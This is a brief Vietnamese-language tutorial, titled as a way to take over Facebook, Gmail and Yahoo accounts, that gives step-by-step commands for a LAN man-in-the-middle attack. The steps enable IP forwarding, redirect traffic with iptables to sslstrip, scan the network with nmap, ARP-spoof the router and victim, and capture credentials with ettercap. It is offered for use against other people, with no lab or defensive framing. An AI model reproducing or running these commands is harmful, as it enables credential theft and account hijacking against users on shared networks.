Chiếm đoạt tài khoản Facebook, Gmail, Yahoo

Thực hiện trên máy Attacker

Bước 1: kiểm tra ip\_forward

root@bt:~# **cat /proc/sys/net/ipv4/ip\_forward**

Bước 2: Bật tính năng Port Forwarding

root@bt:~# **echo 1 > /proc/sys/net/ipv4/ip\_forward**

Bước 3: Điều hướng tất cả các máy trong LAN qua Firewall được thiết lập trên máy Attacker

root@bt:~# **iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000**

Kiểm tra:

root@bt:~# **/sbin/iptables-save**

Bước 5: Khởi chạy công cụ sslstrip để điều hướng về Port 1000 trên Firewall

root@bt:~# **cd /pentest/web/sslstrip/**

root@bt:/pentest/web/sslstrip# **python sslstrip.py -l 1000**

Bước 6: Scan toàn bộ mạng để tìm máy victim (điền địa chỉ dải mạng)

root@bt:~# **nmap 192.168.100.0/24**

Bước 7: Giả làm Router gửi trả Packet cho mục tiêu

root@bt:~# **arpspoof -i eth0 -t 192.168.100.1 192.168.100.8**

root@bt:~# **arpspoof -i eth0 -t 192.168.100.8 192.168.100.1**

Bước 8: Hiển thị thông tin bắt được từ mục tiêu

root@bt:~# **ettercap -Tqi eth0**